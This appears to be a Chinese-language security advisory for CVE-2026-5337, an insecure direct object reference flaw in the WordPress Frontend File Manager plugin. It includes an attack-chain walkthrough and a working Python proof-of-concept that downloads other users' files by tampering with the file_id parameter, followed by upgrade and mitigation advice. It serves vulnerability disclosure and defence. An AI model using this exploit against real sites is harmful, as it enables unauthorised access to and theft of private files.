IPBUF安全漏洞报告
English
CVE-2026-5337 CVSS 6.5 中危

CVE-2026-5337: WordPress Frontend File Manager IDOR漏洞

披露日期: 2026-05-03

漏洞信息

漏洞编号
CVE-2026-5337
漏洞类型
不安全的直接对象引用 (IDOR)
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Frontend File Manager Plugin (WordPress)

相关标签

IDORWordPress权限绕过信息泄露Frontend File Manager

漏洞概述

Frontend File Manager Plugin WordPress插件存在不安全的直接对象引用(IDOR)漏洞。该漏洞影响23.6及以下版本。拥有订阅者及以上权限的认证攻击者可以通过修改下载请求中的'file_id'参数,绕过授权验证,非法访问并下载包括管理员在内的其他用户的敏感文件,导致严重的数据泄露风险。

技术细节

该漏洞源于插件在处理文件下载请求(`do=wpfm_download`)时,未对请求文件的所有权进行严格校验。虽然端点可能包含`nm_file_nonce`参数,但服务端逻辑未确保该`file_id`所对应的文件属于当前发起请求的用户。攻击者只需拥有低权限账户(如订阅者),即可通过篡改HTTP GET请求中的`file_id`数值,遍历或直接引用其他用户(如管理员)上传的文件ID。服务器接收到请求后,错误地授权了该越权访问,导致敏感文件被直接下载。

攻击链分析

STEP 1
1. 信息收集
攻击者识别目标站点使用了Frontend File Manager Plugin,并确认其版本在23.6及以下。
STEP 2
2. 获取低权限账号
攻击者在目标站点注册一个订阅者(Subscriber)级别的账户,获取登录凭证和Cookie。
STEP 3
3. 构造恶意请求
攻击者分析下载接口,发现其通过file_id指定文件,于是修改请求参数,将file_id替换为想要窃取的目标文件ID(如管理员文件)。
STEP 4
4. 执行越权访问
攻击者发送构造后的HTTP请求,由于服务器未校验文件所有权,直接返回了目标文件内容,完成数据窃取。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC Code for CVE-2026-5337 import requests def exploit_idor(target_url, file_id, nonce, cookie): """ Exploit IDOR vulnerability to download arbitrary files. """ # Construct the malicious URL download_url = f"{target_url}/?do=wpfm_download&file_id={file_id}&nm_file_nonce={nonce}" headers = { "Cookie": cookie } try: response = requests.get(download_url, headers=headers) if response.status_code == 200: print(f"[+] Successfully downloaded file ID: {file_id}") print(f"[+] Content-Length: {len(response.content)}") return response.content else: print(f"[-] Failed to download file. Status code: {response.status_code}") return None except Exception as e: print(f"[-] Error occurred: {e}") # Example Usage target = "http://localhost" victim_file_id = "40" malicious_nonce = "a36fb893f1" attacker_cookie = "wordpress_logged_in_xxxxx=attacker_session_value;" exploit_idor(target, victim_file_id, malicious_nonce, attacker_cookie)

影响范围

Frontend File Manager Plugin <= 23.6

防御指南

临时缓解措施
建议立即将Frontend File Manager Plugin升级至最新版本以修复此漏洞。若暂时无法升级,应考虑禁用该插件的文件管理功能,或配置Web应用防火墙(WAF)规则,严格拦截对下载接口的异常请求参数,防止未经授权的文件访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表